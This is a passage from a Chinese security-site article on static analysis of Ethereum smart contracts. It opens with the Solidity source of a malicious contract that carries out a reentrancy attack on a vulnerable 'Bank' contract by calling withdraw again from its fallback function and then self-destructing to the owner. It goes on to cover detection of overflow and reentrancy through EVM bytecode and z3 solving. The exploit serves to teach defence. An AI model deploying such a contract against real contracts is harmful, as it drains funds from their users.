欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

区块链安全——以太坊智能合约静态分析

来源:本站整理 作者:佚名 时间:2019-01-10 TAG: 我要投稿
    }
    function setVictim(address target) public{
        victim = target;
    }
    function step1(uint256 amount) public  payable{
        if (address(this).balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    function step2(uint256 amount) public{
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() public{
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) public{
        step1(amount);
        step2(amount / 2);
    }
    function () public payable {
        if (msg.sender == victim) {
            // 再次尝试调用Bank合约的withdraw函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
        }
    }
}
在上面的代码中,智能合约Bank是存在重入漏洞的合约,其内部的withdraw()方法使用了call方法进行转账,使用该方法转账时没有gas限制。 智能合约Attack是个恶意合约,用来对存在重入的智能合约Bank进行攻击。攻击流程如下: * Attack先给Bank转币 * Bank在其内部的账本balances中记录Attack转币的信息 * Attack要求Bank退币 * Bank先退币再修改账本balances
问题就出在Bank是先退币再去修改账本balances。因为Bank退币的时候,会触发Attack的fallback函数,而Attack的fallback函数中会再次执行退币操作,如此递归下去,Bank没有机会进行修改账本的操作,最后导致Attack会多次收到退币。
5.2 漏洞的检测方法
5.2.1 整数溢出漏洞的检测
通过约束求解可以很容易的发现智能合约中的整数溢出漏洞,下面我们就通过一个具体的例子一步步的分析。
首先对5.1.1节中的智能合约进行反编译,得到的部分反编译代码如下:
000108: PUSH1 0x00
000110: DUP1
000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
000144: SWAP1
000145: POP
000146: PUSH1 0x01
000148: DUP2
000149: ADD
000150: SWAP2
000151: POP
000152: POP
000153: SWAP1
000154: JUMP
这段反编译后的代码对应的是智能合约中的overflow函数,第000149行的ADD指令对应的是函数中max + 1这行代码。ADD指令会把栈顶的两个值出栈,相加后把结果压入栈顶。下面我们就通过一段伪代码来演示如何检测整数溢出漏洞:
def checkOverflow():
    first = stack.pop(0)
    second = stack.pop(0)
    first = BitVecVal(first, 256)
    second = BitVecVal(second, 256)
    computed = first + second
    solver.add(UGT(first, computed))
    if check_sat(solver) == sat:
        print "have overflow"
我们先把栈顶的两个值出栈,然后使用z3中BitVecVal()函数的把这两个值转变成位向量常量,接着计算两个位向量常量相加的结果,最后构建表达式UGT(first, computed)来判断加数是否大于相加的结果,如果该表达式有解则说明会发生整数溢出[4]。
5.2.2 重入漏洞的检测
在分析重入漏洞之前,我们先来总结在智能合约中用于转账的方法: * address.transfer(amount): 当发送失败时会抛出异常,只会传递2300Gas供调用,可以防止重入漏洞
address.send(amount): 当发送失败时会返回false,只会传递2300Gas供调用,可以防止重入漏洞
address.gas(gas_value).call.value(amount)(): 当发送失败时会返回false,传递所有可用Gas进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入
通过以上对比不难发现,transfer(amount)和send(amount)限制Gas最多为2300,使用这两个方法转账可以有效地防止重入漏洞。call.value(amount)()默认不限制Gas的使用,这就会很容易导致重入漏洞的产生。既然call指令是产生重入漏洞的原因所在,那么接下来我们就详细分析这条指令。
call指令有七个参数,每个参数的含义如下所示:
call(gas, address, value, in, insize, out, outsize) * 第一个参数是指定的gas限制,如果不指定该参数,默认不限制。 * 第二个参数是接收转账的地址 * 第三个参数是转账的金额 * 第四个参数是输入给call指令的数据在memory中的起始地址 * 第五个参数是输入的数据的长度 * 第六个参数是call指令输出的数据在memory中的起始地址 * 第七个参数是call指令输出的数据的长度
通过以上的分析,总结下来我们可以从以下两个维度去检测重入漏洞 * 判断call指令第一个参数的值,如果没有设置gas限制,那么就有产生重入漏洞的风险 * 检查call指令之后,是否还有其他的操作。
第二个维度中提到的call指令之后是否还有其他操作,是如何可以检测到重入漏洞的呢?接下来我们就详细分析下。在5.1.2节中的智能合约Bank是存在重入漏洞的,根本原因就是使用call指令进行转账没有设置Gas限制,同时在withdraw方法中先退币再去修改账本balances,关键代码如下:

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载